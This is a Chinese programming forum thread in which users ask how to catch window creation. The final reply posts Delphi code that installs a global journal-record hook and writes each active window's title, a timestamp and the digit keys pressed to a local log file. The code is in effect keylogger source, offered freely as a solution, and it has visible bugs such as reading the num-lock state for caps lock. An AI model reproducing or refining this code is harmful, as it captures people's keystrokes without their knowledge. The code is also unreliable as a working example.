关注,我也想知道!
kingron能不能给段代码?

解决方案 »

  1.   

    应该可以,我听说要Hook三个消息才能捕获到窗口的创建和显示,我只记得其中一个消息了,好像是wm_create,代码我写不出来。:)
      

  2.   

    其实只要能够Hook CreateWindow() 和CreateWindowEx()这两个API应该就可以了
      

  3.   

    还有
    DialogBox  
    DialogBoxIndirect  
    DialogBoxIndirectParam  
    DialogBoxParam 
    CreateDialog
    CreateDialogIndirect
    CreateDialogIndirectParam
    CreateDialogParam
      

  4.   

    简单:
    function JournalLogProc(iCode:integer;wParam:WPARAM;lParam:LPARAM):longint;stdcall;
    var
      i:integer;
      hFocus:HWND;   //保存当前活动窗口句柄
      vKey:integer;  //取得虚拟键值
      szTitle: array [0..256] of char;  //当前窗口名称
      szTime: string;//array [0..128] of char;   //当前的日期和时间
      msg:PEventMsg;
      logfile:textfile;
      iShift,icapital,inumlock:integer;
      bshift,bcapital,bnumlock:bool;
      ch:char;
    begin
      result:=0;
      if iCode<0 then
        Result:=CallNextHookEx(g_hLogHook,iCode,wParam,lParam);  if icode = HC_ACTION then begin
         msg:=pEVENTMSG(lParam);     if not FileExists('logfile.txt') then
         begin
           FileCreate('logfile.txt');
         end;
         assignfile(logfile,'logfile.txt');
         append(logfile);     if msg.message = WM_KEYDOWN then begin
           vKey:=LOBYTE(MSG.paramL);              //取得虚拟键值
           hFocus:=GetActiveWindow();             //当前窗口的句柄
           if g_hLastFocus<>hFocus then  begin
              GetWindowText(hFocus,szTitle,256);//取当前窗口的标题
              g_hLastFocus:=hFocus;
              szTime:=DateTimeToStr(Now());
              writeln(logfile,sztime+' '+sztitle);//记录当前窗口的标题          iShift:=GetKeyState(VK_SHIFT);
              iCapital:=GetKeyState(VK_NUMLOCK);
              iNumLock:=GetKeyState(VK_NUMLOCK);
              bShift:=(iShift and KeyPressMask) = KeyPressMask;
              bCapital:=(iCapital and 1)=1;
              bNumLock:=(iNumLock and 1)=1;          if(vKey>=48) and (vKey<=57) then //数字键0-9
                begin
                    //if not bShift then
                    case (vKey) of
                         49: ch:='1';                     50: ch:='2';                     51: ch:='3';                     52: ch:='4';                     53: ch:='5';                     54: ch:='6';                     55: ch:='7';                     56: ch:='8';                     57: ch:='9';                     48: ch:='0';
                       end;
                       writeln(logfile,ch);
                       //writeln(logfile,vkey)
                           end;       end;
         end;
         //
         Flush(logfile);
         closefile(logfile);
      end;
      //dispose(Msg);
      Result:=CallNextHookEx(g_hLogHook,iCode,wParam,lParam);
    //hook
    end;//..............................................................................procedure TForm1.BitBtn1Click(Sender: TObject);
    begin
       //安装日志钩子
      if g_hLogHook = 0 then
        g_hLogHook:=SetWindowsHookEx(WH_JOURNALRECORD,JournalLogProc,HInstance,0);end;
    这样可以记录下每一个窗体
    各我分我给你原码